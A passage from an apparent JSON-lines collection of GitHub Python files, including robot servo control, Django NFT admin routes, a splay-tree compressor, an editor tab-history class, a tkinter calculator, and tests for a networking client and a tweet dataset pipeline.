FL_TOT_R_2, FL_TOT_R_3, FL_TOT_R_4, FL_TOT_L_1, FL_TOT_L_2, FL_TOT_L_3, FL_TOT_L_4,\r\n HL_TOT_R_1, HL_TOT_R_2, HL_TOT_R_3, HL_TOT_R_4, HL_TOT_L_1, HL_TOT_L_2, HL_TOT_L_3, HL_TOT_L_4)\r\nprint(\"Created Positions Matrix.\")\r\n\r\n[ServoObjList, ServoObjDict, TheoLimbList, TheoLimbDict, TheoBody] = AssembleRobot(PositionsMatrix,portHandler_1,portHandler_2,portHandler_3,packetHandler)\r\n#desired_servo_limb = 1\r\nwhile 1:\r\n desired_action = int(input(\"Run Test Protocol?(1), Shutdown Sequence?(2), or Reboot All(3):\"))\r\n if (desired_action == 1):\r\n print(\"Running Auto Continuous Move Protocol...\\n\")\r\n matrix_speeds = SpeedMerge(PositionsMatrix)\r\n # Initialize Spine\r\n for each_limb in MainBodyLimbs:\r\n portHandlerX = portHandler_3\r\n for each_servo in TheoLimbDict[each_limb].ServoList:\r\n each_servo.InitialSetup(portHandlerX)\r\n each_servo.ToggleTorque(1,portHandlerX,packetHandler)\r\n # Initialize Legs\r\n for each_limb in LegLimbs:\r\n if (each_limb == 1 or each_limb == 2):\r\n portHandlerX = portHandler_1\r\n elif (each_limb == 3 or each_limb == 4):\r\n portHandlerX = portHandler_2\r\n for each_servo in TheoLimbDict[each_limb].ServoList:\r\n each_servo.InitialSetup(portHandlerX)\r\n each_servo.ToggleTorque(1,portHandlerX,packetHandler)\r\n each_servo.Speeds = matrix_speeds[:][each_servo.ID-1]\r\n TheoBody.MoveSpineHome(portHandler_3,packetHandler)\r\n TheoBody.MoveLegsHome(portHandler_1,portHandler_2,packetHandler)\r\n print(\"\\nFinished Moving Home...\\n\")\r\n print(\"Press Enter to start when ready.\")\r\n print(\"When done, hit Escape.\\n\")\r\n while 1:\r\n if getch() == chr(0x0D):\r\n break\r\n RunThreads(TheoBody,portHandler_1,portHandler_2,packetHandler)\r\n elif (desired_action == 2): # Shut down robot, delete object structures, and close documents\r\n CleanUp(TheoBody,TheoLimbList, ServoObjList,portHandler_1,portHandler_2,portHandler_3,packetHandler)\r\n ShutDown()\r\n break\r\n elif (desired_action == 3): # Reboot all servos\r\n for i in list(range(1,25)):\r\n if (i>=1 and i<=8):\r\n ServoObjDict[i].RebootServo(portHandler_1,packetHandler)\r\n elif (i>=9 and i<=16):\r\n ServoObjDict[i].RebootServo(portHandler_2,packetHandler)\r\n elif (i>= 17 and i<= 24):\r\n ServoObjDict[i].RebootServo(portHandler_3,packetHandler)\r\n else:\r\n print(\"That's not a recognized option, please try again.\\n\")\r\n continue\r\n\r\n# if __name__ == \"__main__\":\r\n# # Run Main Script\r\n# pass\r\n# else:\r\n# # Run Setup? Or place in separate code?\r\n# pass","repo_name":"degibbons/TheoTheRobot","sub_path":"DanCode/Master_testing.py","file_name":"Master_testing.py","file_ext":"py","file_size_in_byte":3958,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"6562872339","text":"from django.conf import settings\nfrom django.urls import path\nfrom . import views\nfrom django.conf.urls.static import static\n\napp_name = \"nft_management\"\n\nurlpatterns = [\n path(\"list_collection/\", views.ListCollectionView.as_view(), name='list-collection'),\n path(\"detail_collection//\", views.DetailCollectionView.as_view(), name='detail-collection'),\n path(\"specific_delete_collection///\", views.SpecificDeleteCollection.as_view(),\n name='specific-delete-collection'),\n path(\"delete_collection//\", views.DeleteCollectionView.as_view(), name='delete-collection'),\n path(\"list_category/\", views.ListCategoryView.as_view(), name='list-category'),\n path(\"create_category/\", views.CreateCategoryView.as_view(), name='create-category'),\n path(\"update_category//\", views.UpdateCategoryView.as_view(), name='update-category'),\n path(\"delete_category//\", views.DeleteCategoryView.as_view(), name='delete-category'),\n path(\"list_favorites_nft/\", views.ListFavoritesNFTView.as_view(), name='list-favorites-nft'),\n path(\"list_favorites_nft/\", views.ListFavoritesNFTView.as_view(), name='list-favorites-nft'),\n path(\"delete_favorites_nft//\", views.DeleteFavoritesNFTView.as_view(), name='delete-favorites-nft'),\n path(\"list_reported_nft/\", views.ListReportedNFTView.as_view(), name='list-reported-nft'),\n path(\"resolve_reported_nft//\", views.ResolveReportedNFTView.as_view(), name='resolve-reported-nft'),\n path(\"nfts_list/\", views.NftListDisplay.as_view(), name=\"nfts_list\"),\n path(\"nfts_update//\", views.NftUpdate.as_view(), name=\"nfts_update\"),\n path(\"nfts_delete//\", views.NftDelete.as_view(), name=\"nfts_delete\"),\n path(\"nfts_create/\", views.NftCreate.as_view(), name=\"nfts_create\"),\n path('nft-details//', views.NftDetailView.as_view(), name='nft-details'),\n # NftPrice History\n path(\"nftprice_histroy-add/\",views.AddNftPriceHistory.as_view(),name=\"add-price-history\"),\n path(\"report-view/\", views.ReportedNFTView.as_view(), name='report_view'),\n path(\n \"nftprice_histroy-delete/\",\n views.DeletePriceHistory.as_view(),\n name=\"price-history-delete\",\n ),\n path(\"nftprice-list/\", views.PriceHistoryList.as_view(), name=\"price-history-list\"),\n path('live-auction/', views.LiveAuctionView.as_view(), name='live-auction'),\n]\n\n\nif settings.DEBUG:\n urlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)\n","repo_name":"HaseebBajwa12/NFT-MarketPlace","sub_path":"admin_panel/collection_app/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2527,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"1224833781","text":"from __future__ import annotations\n\nfrom contextlib import (\n contextmanager,\n redirect_stderr,\n redirect_stdout,\n)\nimport io\nimport sys\nfrom typing import (\n TYPE_CHECKING,\n Generator,\n Optional,\n TextIO,\n Type,\n)\n\n\nif TYPE_CHECKING:\n from argparse import ArgumentParser\n\n\n@contextmanager\ndef redirect_stdin(stream: Optional[TextIO] = None) -> Generator[None, None, None]:\n if stream is None:\n yield\n\n else:\n old_stdin = sys.stdin\n try:\n sys.stdin = stream\n yield\n finally:\n sys.stdin = old_stdin\n\n\nclass ToolRunner:\n def __init__(self, parser: ArgumentParser, tool_cls: Type):\n self.parser = parser\n self.tool_cls = tool_cls\n\n def run(self, args: list[str], stdin: Optional[str] = None):\n stdin_str = stdin\n stdout = io.StringIO()\n stderr = io.StringIO()\n stdin_stream: Optional[TextIO] = None\n if stdin_str:\n stdin_stream = io.StringIO()\n assert stdin_stream is not None\n stdin_stream.write(stdin_str)\n stdin_stream.seek(0)\n with redirect_stdout(stdout), redirect_stderr(stderr), redirect_stdin(stdin_stream):\n self.tool_cls.run(self.parser.parse_args(args)) # noqa\n\n return stdout.getvalue(), stderr.getvalue()\n","repo_name":"datalens-tech/datalens-backend","sub_path":"lib/dl_formula_testing/dl_formula_testing/tool_runner.py","file_name":"tool_runner.py","file_ext":"py","file_size_in_byte":1334,"program_lang":"python","lang":"en","doc_type":"code","stars":99,"dataset":"github-code","pt":"54"} +{"seq_id":"74411180640","text":"from splayTree import *\nimport math\n\ntrees = {}\n\ndef bin_to_int(binstr):\n n = 1\n int_ = 0\n for bit in binstr[::-1]:\n int_ += n * (bit == '1')\n n = n * 2\n return int_\n\n\ndef int_to_bin(int_, log):\n binstr = ''\n while log != 0:\n binstr = str(int_%2) + binstr\n int_ = int_ // 2\n log -= 1\n return binstr\n\nclass compressionTree:\n def __init__(self, fileName):\n self.fileName = fileName\n myFile = open(fileName, 'r')\n self.text = ''.join( myFile.readlines() )\n myFile.close()\n self.p={}\n self.tree = splayTree()\n for i in self.text:\n if not self.tree.get_root():\n self.tree.insert((1, None))\n curr= self.tree.get_root()\n node = splayNode((1, i))\n curr.set_left(node)\n self.p[node.get_val()[1]]=node\n elif i not in self.p.keys():\n if not curr.get_right():\n node = splayNode((1, i))\n curr.set_right(node)\n root= curr.get_val()\n curr.set_val((root[0]+1, root[1]))\n self.swap(curr)\n self.p[node.get_val()[1]]=node\n else:\n temp=splayNode(None)\n curr.deepcopy(temp)\n root= curr.get_val()\n curr.set_val((root[0]+1, root[1]))\n curr.set_right(temp)\n node = splayNode((1, i))\n curr.set_left(node)\n self.p[node.get_val()[1]]=node\n elif i in self.p.keys():\n for k,j in self.p.items():\n if j.get_val()[1] == i:\n i_node=j\n val=j.get_val()\n j.set_val((val[0]+1, val[1]))\n while j.get_parent():\n j=j.get_parent()\n val=j.get_val()\n j.set_val((val[0]+1, val[1]))\n self.swap(j)\n self.tree.semi_splay(i_node)\n\n self.key = {}\n for i,j in self.p.items():\n code = self.tree.code(j) \n self.key[i] = code\n \n def swap(self, curr):\n if curr.get_right().get_val()[0] < curr.get_left().get_val()[0]:\n temp=curr.get_right()\n curr.set_right(curr.get_left())\n curr.set_left(temp)\n \n def get_text(self):\n return self.text\n\n def get_tree(self):\n return self.tree\n\n def get_key(self):\n return self.key\n\ndef compress(fileName):\n tree = compressionTree(fileName)\n trees[fileName.split('.')[0] +'_comp.txt'] = tree\n code = ''\n code_text = ''\n rem_bits=''\n for i in tree.get_text():\n code += tree.get_key()[i]\n for i in range(0, len(code), 7):\n if i+6 < len(code):\n code_text += chr(int(code[i: i+7], 2))\n else:\n rem_bits = code[i:]\n newFile = open(fileName.split('.')[0] + '_comp.txt', 'w')\n newFile.write(rem_bits + '\\n' + code_text)\n newFile.close()\n\ndef decompress(fileName):\n tree = trees[fileName].get_tree()\n coded=''\n with open(fileName, 'rb') as f:\n rem_bits = f.readline()\n rem_bits = rem_bits[:len(rem_bits)-1]\n rem_bits = rem_bits.decode('UTF-8')\n for line in f:\n code = line.decode('UTF-8')\n for i in range(len(code)):\n if code[i] == '\\r' and code[i + 1] == '\\n':\n continue\n else:\n a = ord(code[i])\n a = bin(a).replace(\"0b\", \"\")\n if len(a)<7:\n a = ('0'*(7-len(a)))+a\n coded += a\n coded += rem_bits[:len(rem_bits)-1]\n f.close()\n text = ''\n i = 0\n while i != len(coded): # read the binary code and trace the corresponding path on the tree\n node = tree.get_root()\n \n while not node.is_leaf(): # until we reach a leaf node\n \n if coded[i] == '0':\n node = node.child['left']\n elif coded[i] == '1':\n node = node.child['right']\n i += 1\n \n text = text + node.get_val()[1] # output the character of the leaf node\n newFile = open(fileName.split('.')[0] + '_dec.txt', 'w')\n newFile.write(text)\n newFile.close()\n\ncompress('example.txt')\ndecompress('example_comp.txt')","repo_name":"ChandanShankarM/Data-Compression-Using-Splay-Trees","sub_path":"Compress.py","file_name":"Compress.py","file_ext":"py","file_size_in_byte":4640,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"54"} +{"seq_id":"41266887959","text":"from flask import Flask, render_template, request\nfrom database import db\n\ndef webSession(session, game_queue):\n app = Flask(__name__)\n print(\"TEST\")\n game_queue.put({\n \"for\":\"sys\",\n \"data\":\"API started and running on: 8080\"\n })\n @app.route('/')\n def index():\n #game_queue.put({\n # \"for\":\"creatures\",\n # \"data\":\"get_all_creatures\"\n #})\n #try:\n # msg = game_queue.get_nowait()\n #except:\n # msg = \"Error.\"\n #\n #creatures = msg['data']\n return render_template('index.html')\n\n @app.route('/cr')\n def creatures():\n inr = db.get_all_creatures(session)\n return f\"{inr}\"\n @app.route('/g')\n def gameScreen():\n return render_template('game.html')\n app.run(debug=False, host = '127.0.0.1', port=8080)","repo_name":"dybdaltech/DiscordAndDungeons","sub_path":"web/web.py","file_name":"web.py","file_ext":"py","file_size_in_byte":846,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"13864680969","text":"import os.path\nfrom .qt import QObject, pyqtSignal\nfrom .mainwindowtabwidgetbase import MainWindowTabWidgetBase\n\n\nclass TabHistoryEntry:\n\n \"\"\"Holds a single history entry\"\"\"\n\n def __init__(self):\n self.icon = None\n self.uuid = None\n self.displayName = \"\"\n self.line = -1\n self.pos = -1\n self.firstVisible = -1\n self.tabType = MainWindowTabWidgetBase.Unknown\n\n def __eq__(self, other):\n \"\"\"Compares two entries\"\"\"\n return self.uuid == other.uuid and \\\n self.line == other.line and \\\n self.pos == other.pos\n\n\nclass TabsHistory(QObject):\n\n \"\"\"Holds the editors manager history\"\"\"\n\n historyChanged = pyqtSignal()\n limit = 32\n\n def __init__(self, editorsManager):\n QObject.__init__(self)\n\n self.__editorsManger = editorsManager\n self.__history = []\n\n # The index always points to the history position which is currently\n # displayed\n self.__index = -1\n\n # Sequence of the history entries as they have appeared on the screen\n self.__tabsSequence = []\n\n def backAvailable(self):\n \"\"\"True if step back available\"\"\"\n return self.__index > 0\n\n def forwardAvailable(self):\n \"\"\"True if step forward available\"\"\"\n if self.__index == -1:\n return False\n return self.__index < len(self.__history) - 1\n\n def clear(self):\n \"\"\"Clears the history\"\"\"\n self.__history = []\n self.__index = -1\n self.__tabsSequence = []\n self.historyChanged.emit()\n\n def addCurrent(self):\n \"\"\"Adds the current editors manager tab to the history\"\"\"\n currentWidget = self.__editorsManger.currentWidget()\n\n newEntry = TabHistoryEntry()\n newEntry.tabType = currentWidget.getType()\n newEntry.displayName = currentWidget.getShortName()\n\n newEntry.icon = self.__editorsManger.tabIcon(\n self.__editorsManger.currentIndex())\n newEntry.uuid = currentWidget.getUUID()\n\n if newEntry.tabType in [MainWindowTabWidgetBase.PlainTextEditor,\n MainWindowTabWidgetBase.VCSAnnotateViewer]:\n newEntry.line = currentWidget.getLine()\n newEntry.pos = currentWidget.getPos()\n newEntry.firstVisible = currentWidget.getEditor().firstVisibleLine()\n\n if self.__index != -1:\n if newEntry == self.__history[self.__index]:\n # The new entry is the same as the current - ignore request\n return\n # Cut the tail of the history if needed\n self.__history = self.__history[:self.__index + 1]\n\n self.__history.append(newEntry)\n self.__enforceLimit()\n\n self.__index = len(self.__history) - 1\n self.__tabsSequence.append(self.__index)\n\n self.historyChanged.emit()\n\n def __enforceLimit(self):\n \"\"\"Dismisses too old records if required\"\"\"\n if len(self.__history) <= self.limit:\n return\n\n stripCount = len(self.__history) - self.limit\n index = 0\n while index < stripCount:\n # The indexes must be removed from the tabs seq list\n seqIndex = len(self.__tabsSequence) - 1\n while seqIndex >= 0:\n if self.__tabsSequence[seqIndex] == index:\n del self.__tabsSequence[seqIndex]\n seqIndex -= 1\n index += 1\n\n # Adjust the indexes in the tabs seq list\n seqIndex = len(self.__tabsSequence) - 1\n while seqIndex >= 0:\n self.__tabsSequence[seqIndex] = \\\n self.__tabsSequence[seqIndex] - stripCount\n seqIndex -= 1\n\n # Strip some items in the history\n self.__history = self.__history[-1 * self.limit:]\n\n def updateForCurrentIndex(self):\n \"\"\"Called when the current tab is left\"\"\"\n if self.__index < 0:\n return\n\n # The file could be saved under the different name and get even a\n # different type, so update everything\n uuid = self.__history[self.__index].uuid\n widget = self.__editorsManger.getWidgetByUUID(uuid)\n\n self.__history[self.__index].tabType = widget.getType()\n self.__history[self.__index].displayName = widget.getShortName()\n\n if self.__history[self.__index].tabType in \\\n [MainWindowTabWidgetBase.PlainTextEditor,\n MainWindowTabWidgetBase.VCSAnnotateViewer]:\n self.__history[self.__index].line = widget.getLine()\n self.__history[self.__index].pos = widget.getPos()\n self.__history[self.__index].firstVisible = \\\n widget.getEditor().firstVisibleLine()\n else:\n self.__history[self.__index].line = -1\n self.__history[self.__index].pos = -1\n self.__history[self.__index].firstVisible = -1\n\n tabIndex = self.__editorsManger.getIndexByUUID(uuid)\n self.__history[self.__index].icon = \\\n self.__editorsManger.tabIcon(tabIndex)\n\n def testAdjacent(self, index):\n \"\"\"tests if an adjacent history item is the same as the given\"\"\"\n if index > 0:\n if self.__history[index] == self.__history[index - 1]:\n return True\n if index < len(self.__history) - 1:\n if self.__history[index] == self.__history[index + 1]:\n return True\n return False\n\n def testAdjacentSeq(self, index):\n \"\"\"tests if an adjacent seq item is the same as the given\"\"\"\n if index > 0:\n if self.__tabsSequence[index] == self.__tabsSequence[index - 1]:\n return True\n if index < len(self.__tabsSequence) - 1:\n if self.__tabsSequence[index] == self.__tabsSequence[index + 1]:\n return True\n return False\n\n def tabClosed(self, uuid):\n \"\"\"Called when a tab is closed\"\"\"\n # Test if the current was closed\n oldCurrentIndex = self.__index\n\n # Build a list of history entries which were closed\n removedIndexes = []\n index = len(self.__history) - 1\n while index >= 0:\n if self.__history[index].uuid == uuid or \\\n self.testAdjacent(index):\n removedIndexes.insert(0, index)\n del self.__history[index]\n if index < self.__index:\n self.__index -= 1\n index -= 1\n\n if len(self.__history) == 0:\n # No history any more\n self.clear()\n return\n\n # Remove all such entries from the tabs seq and adjust indexes of those\n # which survived\n seqIndex = len(self.__tabsSequence) - 1\n while seqIndex >= 0:\n if self.__tabsSequence[seqIndex] in removedIndexes:\n del self.__tabsSequence[seqIndex]\n else:\n oldIndex = self.__tabsSequence[seqIndex]\n for item in removedIndexes:\n if item < oldIndex:\n self.__tabsSequence[seqIndex] -= 1\n seqIndex -= 1\n\n # Remove adjacent same entries in the tabs sequence\n seqIndex = len(self.__tabsSequence) - 1\n while seqIndex >= 0:\n if self.testAdjacentSeq(seqIndex):\n del self.__tabsSequence[seqIndex]\n seqIndex -= 1\n\n if oldCurrentIndex in removedIndexes:\n # Update it to the last visible\n self.__index = self.__tabsSequence[len(self.__tabsSequence) - 1]\n\n self.historyChanged.emit()\n\n def getSize(self):\n \"\"\"Provides the total number of the history steps\"\"\"\n return len(self.__history)\n\n def getCurrentIndex(self):\n \"\"\"Provides the current history index\"\"\"\n return self.__index\n\n def getEntry(self, index):\n \"\"\"Provides the required history entry\"\"\"\n if index < 0 or index >= len(self.__history):\n raise Exception(\"Invalid history index to set (\" +\n str(index) + \")\")\n return self.__history[index]\n\n def setCurrentIndex(self, index):\n \"\"\"Sets the given history index as current\"\"\"\n if index < 0 or index >= len(self.__history):\n raise Exception(\"Invalid history index to set (\" +\n str(index) + \")\")\n if self.__index != index:\n self.__index = index\n self.__tabsSequence.append(index)\n self.historyChanged.emit()\n\n def getCurrentEntry(self):\n \"\"\"Provides the current history entry\"\"\"\n if self.__index == -1 or self.__index >= len(self.__history):\n raise Exception(\"No current history entry (index=\" +\n str(self.__index) + \")\")\n return self.__history[self.__index]\n\n def stepBack(self):\n \"\"\"Makes one step back in the history if possible\"\"\"\n if self.__index <= 0:\n return False\n self.__index -= 1\n self.__tabsSequence.append(self.__index)\n self.historyChanged.emit()\n return True\n\n def stepForward(self):\n \"\"\"Makes one step forward in the history if possible\"\"\"\n if self.__index >= len(self.__history) - 1:\n return False\n self.__index += 1\n self.__tabsSequence.append(self.__index)\n self.historyChanged.emit()\n return True\n\n def flip(self):\n \"\"\"Flips between last two history steps\"\"\"\n if len(self.__history) < 1:\n return False\n lastSeqIndex = len(self.__tabsSequence) - 1\n self.__index = self.__tabsSequence[lastSeqIndex - 1]\n self.__tabsSequence.append(self.__index)\n self.historyChanged.emit()\n return True\n\n def updateFileNameForTab(self, uuid, newFileName):\n \"\"\"After SaveAs the file name should be updated\"\"\"\n newDisplayName = os.path.basename(newFileName)\n for item in self.__history:\n if item.uuid == uuid:\n item.displayName = newDisplayName\n\n def updateIconForTab(self, uuid, icon):\n \"\"\"Broken/disappeared/modified icons could appear for a file\"\"\"\n for item in self.__history:\n if item.uuid == uuid:\n item.icon = icon\n","repo_name":"SergeySatskiy/codimension","sub_path":"codimension/ui/tabshistory.py","file_name":"tabshistory.py","file_ext":"py","file_size_in_byte":10300,"program_lang":"python","lang":"en","doc_type":"code","stars":103,"dataset":"github-code","pt":"54"} +{"seq_id":"2781536714","text":"import tkinter as tk\r\nfrom BackendCalculation import Functions\r\n\r\n\r\nclass Calculadora():\r\n def __init__(self):\r\n self.app = tk.Tk()\r\n self.title = self.app.title('CALCULATION NUMBERS')\r\n self.app.minsize(340, 330)\r\n self.app.maxsize(340, 330)\r\n\r\n\r\n self.titulo = tk.Label(text='CALCULADORA BÁSICA', bg='black', fg='white')\r\n self.titulo.grid(row=0, columnspan=2,pady= 10,sticky='snwe')\r\n\r\n self.n1 = tk.IntVar()\r\n self.numero1 = tk.Entry(width=5, textvariable=self.n1)\r\n self.numero1.grid(column=0, row=1, padx=10, pady=10)\r\n\r\n self. n2 = tk.IntVar()\r\n self.numero2 = tk.Entry(width=5, textvariable=self.n2)\r\n self.numero2.grid(column=1, row=1, padx=10, pady=10)\r\n\r\n self.operadores = Functions(self.numero1, self.numero2, self.app)\r\n self.operadores.center(self.app)\r\n\r\n\r\n self.botao_somar = tk.Button(text='SOMAR', width=20, command=self.operadores.soma, activebackground='#78d6ff')\r\n self.botao_somar.grid(row=2, column=0, pady=10, padx=10)\r\n\r\n self.botao_multiplicar = tk.Button(text='MULTIPLICAR', width=20, command=self.operadores.mult, activebackground='#78d6ff')\r\n self.botao_multiplicar.grid(row=2, column=1, pady=10, padx=10)\r\n\r\n self.botao_dividir = tk.Button(text='DIVIDIR', width=20, command=self.operadores.dividir, activebackground='#78d6ff')\r\n self.botao_dividir.grid(row=3, column=0, pady=10, padx=10)\r\n\r\n self.botao_subtrair = tk.Button(text='SUBTRAIR', width=20, command=self.operadores.sub, activebackground='#78d6ff')\r\n self.botao_subtrair.grid(row=3, column=1, pady=10, padx=10)\r\n\r\n self.botao_potencia = tk.Button(text='POTÊNCIA', width=20, command=self.operadores.potencia, activebackground='#78d6ff')\r\n self.botao_potencia.grid(row=4, column = 0, pady=10, padx=10)\r\n\r\n self.botao_porcentagem = tk.Button(text = 'PORCENTAGEM', width=20, command = self.operadores.porcentagem, activebackground='#78d6ff')\r\n self.botao_porcentagem.grid(row=4, column=1, pady=10, padx=10)\r\n\r\n self.botao_fechar = tk.Button(text='FECHAR', width=10, command=self.operadores.fechar_app,activebackground='#78d6ff' )\r\n self.botao_fechar.grid(row=6, column=0,columnspan=2, padx=10, pady=10)\r\n\r\n\r\n self.operadores.direitos_reservados()\r\n\r\n self.app.mainloop()\r\n\r\n\r\n\r\nif '__main__' == __name__:\r\n\r\n a = Calculadora()\r\n","repo_name":"jeffin-Dev/Calculadora_Basica","sub_path":"window.py","file_name":"window.py","file_ext":"py","file_size_in_byte":2432,"program_lang":"python","lang":"es","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"28020214169","text":"msg = 'twinckle twinckle little star'\n\nprint(msg.count('i'))\nprint('twinckle',msg.count('twinckle'),'times')\n\n\na = 20\nb = 5\nc = a/b *3,\nx = 'calculate'\nprint(\"{} : a={},b={},c={}\".format(x,a,b,c))\n","repo_name":"niddhu5598/project_python","sub_path":"STRINGS/string_function7.py","file_name":"string_function7.py","file_ext":"py","file_size_in_byte":197,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"40923466353","text":"from concurrent.futures import Future\n\nfrom cocaine.detail.service import CocaineIO\nfrom cocaine.detail.service import CocaineTCPClient\nfrom cocaine.detail.service import InvalidApiVerison\nfrom cocaine.detail.service import Rx, Tx\nfrom cocaine.detail.service import ServiceError, ChokeEvent, InvalidMessageType\n\nfrom cocaine.services import Locator\nfrom cocaine.services import Service\n\nimport msgpack\nfrom nose import tools\n\n\n@tools.raises(AttributeError)\ndef test_loop():\n io = CocaineIO.instance()\n io.UNEXISTED_ATTRIBUTE\n\n\ndef test_add_future():\n expected_res = \"EXPECTED\"\n io = CocaineIO.instance()\n f = Future()\n io.post(f.set_result, expected_res)\n res = f.result(timeout=4)\n assert res == expected_res\n\n\ndef test_connect():\n io = CocaineIO.instance()\n client = CocaineTCPClient(io_loop=io)\n try:\n client.connect(\"localhost\", 10053).wait(2)\n finally:\n client.close()\n\n\n@tools.raises(IOError)\ndef test_failed_connect():\n io = CocaineIO.instance()\n client = CocaineTCPClient(io_loop=io)\n client.connect(\"localhost2\", 10053).wait(4)\n\n\n@tools.raises(AttributeError)\ndef test_service_attribute_error():\n io = CocaineIO.instance()\n locator = Locator(\"localhost\", 10053, loop=io)\n locator.random_attribute().get()\n\n\ndef test_locator():\n io = CocaineIO.instance()\n locator = Locator(\"localhost\", 10053, loop=io)\n chan = locator.resolve(\"storage\").wait(4)\n endpoint, version, api = chan.rx.get().wait(1)\n assert version == 1, \"invalid version number %s\" % version\n assert isinstance(endpoint, (list, tuple)), \"invalid endpoint type %s\" % type(endpoint)\n assert isinstance(api, dict)\n\n\ndef test_on_close():\n io = CocaineIO.instance()\n locator = Locator(\"localhost\", 10053, loop=io)\n locator.disconnect()\n\n locator = Locator(\"localhost\", 10053, loop=io)\n locator.connect().wait(4)\n locator.connect().wait(4)\n locator.disconnect()\n\n\ndef test_service_double_connect():\n io = CocaineIO.instance()\n node = Service(\"node\", host=\"localhost\", port=10053, loop=io)\n node.connect().wait(4)\n node.connect().wait(4)\n\n\n@tools.raises(InvalidApiVerison)\ndef test_service_invalid_api_version():\n io = CocaineIO.instance()\n node = Service(\"node\", host=\"localhost\", port=10053, version=100, loop=io)\n node.connect().wait(4)\n\n\ndef test_node_service():\n io = CocaineIO.instance()\n node = Service(\"node\", host=\"localhost\", port=10053, loop=io)\n channel = node.list().wait(1)\n app_list = channel.rx.get().wait(1)\n assert isinstance(app_list, list), \"invalid app_list type `%s` %s \" % (type(app_list), app_list)\n\n\ndef test_node_service_bad_on_read():\n io = CocaineIO.instance()\n node = Service(\"node\", host=\"localhost\", port=10053, loop=io)\n malformed_message = msgpack.packb([-999, 0])\n node.on_read(malformed_message)\n message = msgpack.packb([-999, 0, []])\n node.on_read(message)\n\n\nclass TestRx(object):\n rx_tree = {0: ['write', None, {}],\n 1: ['error', {}, {}],\n 2: ['close', {}, {}]}\n\n @tools.raises(ServiceError)\n def test_rx_error_branch(self):\n rx = Rx(self.rx_tree)\n rx.push(1, [-199, \"dummy_error\"])\n rx.get().wait(4)\n\n @tools.raises(ChokeEvent)\n def test_rx_done(self):\n rx = Rx(self.rx_tree)\n rx.push(2, [])\n rx.get().wait(1)\n rx.get().wait(1)\n\n @tools.raises(ChokeEvent)\n def test_rx_done_empty_queue(self):\n rx = Rx(self.rx_tree)\n rx.push(1, [-199, \"DUMMY\"])\n try:\n rx.get().wait(4)\n except Exception:\n pass\n rx.get().wait(4)\n\n @tools.raises(InvalidMessageType)\n def test_rx_unexpected_msg_type(self):\n rx = Rx(self.rx_tree)\n rx.push(4, [])\n rx.get().wait(4)\n\n\nclass TestTx(object):\n tx_tree = {0: ['dummy', None, {}]}\n\n class PipeMock(object):\n def write(self, *args):\n pass\n\n @tools.raises(AttributeError)\n def test_tx(self):\n tx = Tx(self.tx_tree, self.PipeMock(), 1)\n tx.dummy().wait(4)\n tx.failed().wait(4)\n","repo_name":"mwf/cocaine-framework-python","sub_path":"tests/test_main.py","file_name":"test_main.py","file_ext":"py","file_size_in_byte":4097,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"54"} +{"seq_id":"6984360502","text":"#no of good ppairs\r\nclass Solution:\r\n def numIdenticalPairs(self, nums: list[int]) -> int:\r\n freq = {}\r\n for num in nums:\r\n freq[num] = freq.get(num, 0) + 1\r\n \r\n count = 0\r\n for f in freq.values():\r\n count += f*(f-1)//2\r\n \r\n return count\r\n\r\n# Example usage:\r\nif __name__ == '__main__':\r\n sol = Solution()\r\n nums = [1,2,3,1,1,3]\r\n print(sol.numIdenticalPairs(nums))\r\n","repo_name":"NWOM/Data_Science-Projects","sub_path":"problems internship/Task 2/goodpair.py","file_name":"goodpair.py","file_ext":"py","file_size_in_byte":449,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"74550088802","text":"import os.path\nimport unittest\n\nimport json\nimport datasets\nfrom tqdm.auto import tqdm\n\nfrom ..data.make_dataset import (\n create_raw_hf_dataset,\n filter_hf_dataset_by_uid,\n preprocess_and_tokenize_dataset,\n create_uid_lookup,\n)\nfrom ..config import ModelConfig, DataConfig\n\nDataset = datasets.arrow_dataset.Dataset\n\n\ntest_tweet_csv_path = \"data/testing/raw/tweets.csv\"\ntest_uid_set = set([\"611113833\", \"1284651818782535680\", \"0\"])\n\nmodel_args = ModelConfig()\ndata_args = DataConfig(source_path=test_tweet_csv_path)\n\n# Regression test: handle examples where text is None.\nif os.path.isfile(test_tweet_csv_path):\n with open(test_tweet_csv_path, \"a\") as test_tweet_csv_file:\n test_tweet_csv_file.write(\"7,11,2022-07-21T09:35:15.000Z,,\\n\")\n\n\nclass CreateDatasetFromRawText(unittest.TestCase):\n def setUp(self):\n self.dataset = create_raw_hf_dataset(data_args)\n\n def test_dataset_features(self):\n for feature in [\"tid\", \"uid\", \"text\"]:\n self.assertIn(feature, self.dataset.features)\n\n def test_dataset_datatypes(self):\n example_entry = self.dataset[0]\n self.assertIsInstance(example_entry[\"text\"], str)\n self.assertIsInstance(example_entry[\"tid\"], str)\n self.assertIsInstance(\n example_entry[\"uid\"], str, \"Must be string to avoid truncation.\"\n )\n\n\nclass CreateDatasetShardFromRawText(unittest.TestCase):\n def setUp(self):\n data_args_with_sharding = DataConfig(\n source_path=test_tweet_csv_path, shard_denominator=2\n )\n self.sharded_dataset = create_raw_hf_dataset(data_args_with_sharding)\n self.full_dataset = create_raw_hf_dataset(data_args)\n\n def test_sharded_dataset_length(self):\n self.assertEqual(len(self.sharded_dataset), len(self.full_dataset) // 2)\n\n\nclass FilterDatasetByUID(unittest.TestCase):\n def setUp(self):\n self.dataset: Dataset = create_raw_hf_dataset(data_args)\n self.filtered_dataset: Dataset = filter_hf_dataset_by_uid(\n self.dataset, test_uid_set, data_args\n )\n\n def test_filtered_dataset_length(self):\n self.assertEqual(len(self.filtered_dataset), 2)\n self.assertIn(\"611113833\", self.filtered_dataset[\"uid\"])\n self.assertNotIn(\"0\", self.filtered_dataset[\"uid\"])\n\n\nclass PreprocessAndTokenizeDataset(unittest.TestCase):\n def setUp(self):\n self.dataset = 